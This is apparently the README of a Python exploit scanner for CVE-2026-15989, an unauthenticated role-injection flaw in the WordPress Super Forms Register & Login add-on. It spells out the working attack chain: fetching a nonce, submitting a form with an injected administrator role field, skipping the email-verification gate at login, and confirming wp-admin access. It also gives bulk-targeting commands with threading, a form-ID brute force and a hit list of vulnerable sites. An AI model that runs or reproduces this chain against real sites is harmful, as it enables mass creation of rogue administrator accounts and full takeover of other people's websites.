
Python PoC scanner for CVE-2026-15989, exploiting unauthenticated role injection in WordPress Super Forms to create admin accounts and verify access.
ββββββ ββββ βββ βββββββββ βββ βββββββ βββββββ βββββββ βββββββββ
ββββββββ βββββ βββ βββββββββ βββ ββββββββ βββββββββ βββββββββ βββββββββ
ββββββββ ββββββ βββ βββ βββ βββ βββ βββββββββ βββββββββ βββ
ββββββββ ββββββββββ βββ βββ βββ βββ βββββββββ βββββββββ βββ
βββ βββ βββ ββββββ βββ βββ ββββββββ βββββββββ βββββββββ βββ
βββ βββ βββ βββββ βββ βββ βββββββ βββββββ βββββββ βββ
Β» E X P L O I T S Β«
π₯ Fingerprint-free auto-discovery Β· Validation-aware payloads Β· Zero authentication Β· Honest classification
| WordPress Plugin | Super Forms β Drag & Drop Form Builder (Register & Login add-on) |
| Affected Version | <= 6.3.316 |
| Patched Version | 6.3.317 |
| Authentication | β None required β any published registration form is enough |
| CVSS | 9.8 CRITICAL |
role key β Administrator CreationGET admin-ajax.php?action=super_create_nonce βββΊ _sfs_id session + sf_nonce
β
POST admin-ajax.php action=super_submit_form data=<JSON>
β
before_email_success_msg() (Register & Login add-on)
β
$other_userdata = array( ..., 'role', ... ) βββ client key whitelisted
β
$data['role']['value'] βββΊ $userdata['role'] (register_user_role overwritten)
β
wp_insert_user() βββΊ π₯ administrator account, zero authentication
The add-on copies
$data['role']['value']straight into the user-data array without validating it against the admin-configuredregister_user_role, without an allow-list and without any capability check β a single injected"role": {"value":"administrator"}field wins.
POST wp-login.php log / pwd / testcookie
β + action=super_submit_form βββ the magic field
β
check_user_login_status() βββΊ pending/blocked gate SKIPPED
β
GET /wp-admin/users.php
β
200 = administrator proven Β· 403 = subscriber (patched build)
The add-on only enforces its email-activation / moderation gate when the POST action is NOT
super_submit_formβ so the same form action that registers the user also unlocks logging into it, even before any email verification.
discovery empty (REST Β· sitemap Β· links Β· ?page_id probe)
β
PHASE 1 β form-ID sweep 1..50, minimal payload, OWN SESSION PER ID
β (shared sessions would invalidate each nonce)
β
'required fields' reject βββΊ PHASE 2 β REST markup fetch βββΊ full payload retry
β
every accepted candidate βββΊ login proof per id
β
contact form? βββΊ UNVERIFIED (never a false positive)
registration? βββΊ π verified administrator
Non-registration forms also answer
error:false, so every accepted id is only a candidate until the credential is proven with a real login.
# zero dependencies β pure Python 3 stdlib (rich is optional, for the console)
python3 cve-2026-15989_poc.py --list labs.txt --output results.txt
# tuned concurrency / timeout
python3 cve-2026-15989_poc.py --list labs.txt --threads 20 --timeout 15 -o results.txt
# FULL MODE: discovery + role injection + login proof + form-ID brute (1..50)
python3 cve-2026-15989_poc.py --list labs.txt --full --output results.txt
labs.txt β one base URL per line:
http://localhost
http://192.168.56.101/lab-wp
https://10.0.0.5:8443/lab # self-signed TLS is handled automatically
# comments and blank lines are ignored
| Option | Description |
|---|---|
--list FILE | target file β one URL per line (required) |
--output, -o FILE | hit-list β only VULNERABLE targets written live (ANSI-free) |
--threads N | concurrent target workers (default 10) |
--timeout N | per-request socket timeout in seconds (default 10) |
--full | run the WHOLE chain β adds the form-ID brute fallback (accounts WILL be created on vulnerable targets) |
| State | Meaning |
|---|---|
VULNERABLE | account created and wp-admin administrator access proven (200) |
NOT-VULNERABLE | login OK but admin pages 403 β role ignored β patched build |
UNVERIFIED | submission accepted but login rejected (locked/pending account or non-registration form) β never reported as a silent false positive |
BLOCKED | submission rejected (reCAPTCHA, CSRF, required fields, honeypotβ¦) |
ERROR | unreachable target / DNS failure β reported with the exact cause |
wp-json + ?rest_route= fallback) β sitemap index β 40+ multi-language registration paths (/register, /kayit-ol, /registrierenβ¦) β ?page_id=N probe; works with any theme, page builder and permalink styledata-validation types (email, number, date, time, phone, IBAN, color, URL)super_create_nonce bound to the _sfs_id session; brute attempts get their OWN session so nonces never invalidate each otherVULNERABLE only when wp-admin access is proven; patched builds are separated by the 403 probe; locked accounts surface as UNVERIFIEDaction=super_submit_form, skipping the add-on's email-verification / moderation gate{{ data.url }}), control characters and IDN/Turkish-slug hosts are sanitized automatically--output records ONLY confirmed targets, appended live, always plain text (grep/parse friendly)richrich is optional eye-candy)